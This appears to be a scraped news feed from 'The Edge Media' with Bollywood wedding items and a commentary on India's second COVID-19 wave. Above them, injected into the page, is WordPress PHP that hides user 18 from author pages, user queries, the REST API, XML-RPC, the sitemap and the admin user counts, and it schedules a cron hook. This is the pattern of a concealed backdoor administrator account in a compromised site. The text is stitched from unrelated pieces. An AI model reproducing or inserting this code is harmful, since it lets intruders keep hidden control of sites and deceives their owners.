add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Disha and Rahul to get married on July 16 appeared first on The Edge Media.
]]>Disha Parmar added, “My idea of an ideal wedding ceremony is an intimate affair. Marriage is a union of two people and their respective families with their dear ones in attendance. I have always wished for a simple ceremony and I am glad that’s exactly what we are going ahead with.”
Rahul Vaidya returned from cape Town, after completing the shoot of Rohit Shetty’s adventure-based reality show Khatron Ke Khiladi 11. Now, the duo is busy making arrangements for the wedding.
The post Disha and Rahul to get married on July 16 appeared first on The Edge Media.
]]>The post Nusrat Jahan Confirms Pregnancy After Nusrat-Nikhil Marriage Chaos appeared first on The Edge Media.
]]>On Wednesday Nusrat Jahan released an announcement that her marriage with Nikhil Jain has never been genuine since the Special Marriage Act in India should be recorded. “Our split was long overdue, but I didn’t talk about it since I meant to maintain my personal lives,” she stated.
The post Nusrat Jahan Confirms Pregnancy After Nusrat-Nikhil Marriage Chaos appeared first on The Edge Media.
]]>The post Negligence, election and wedding-party feast on second wave, how will situation improve? appeared first on The Edge Media.
]]>Looking at the current situation, it can also be said that as a country we may not have learned much from the experience of the last one year. Had it been learned, such an odd situation would not have arisen today.
People stopped following rescue measures after the first wave weakened in the country. This is also the biggest reason for the second wave. The government started opening everything up.
This made things the same as before Corona. People stopped taking precautions. Due to this, a large part of the population began to fall prey to this disease.
States also delayed curbing people due to which the health system continued to collapse due to increasing cases of infection. In such a situation, once again the government had to implement lockdown in many places, which is causing even more damage to the economy.
Negligence towards rescue measures started at the central government level. Then all political groups and common people started careless. Schools and colleges began to open up without the entire staff being vaccinated.
Restrictions should have been strictly enforced wherever there were cases of infection, but no political party wanted to do so because of the election.
The plan to hold elections during the corona epidemic should also have been planned carefully. However, this did not happen. Here, Kumbh was organized in Uttarakhand, due to which the corona exploded.
The time has come for us to learn a lesson from this period. Unite as an individual and as a society, come forward to protect humanity.
Just like the last time every person from the voluntary organizations of the country to the street mohallas and villages had become a warrior, this time too, the same spirit will have to be brought to defeat Corona. Only then will we be able to win the battle against Corona.
Scientists believe that the new variants of Corona, negligence against epidemic prevention measures, elections, religious events and ceremonies are the main causes of the second wave.
With the arrival of 3 lakh 49 thousand 691 new cases of corona virus infection in India in a day, the total cases of covid-19 increased to 1 crore 69 lakh 60 thousand 172.
Experts say that the second wave is more powerful than the first. Experts say many things are responsible for the second wave of Corona. These include things like not following the covid-19 protocol, low interest in getting vaccinated and sluggish pace of vaccination.
The post Negligence, election and wedding-party feast on second wave, how will situation improve? appeared first on The Edge Media.
]]>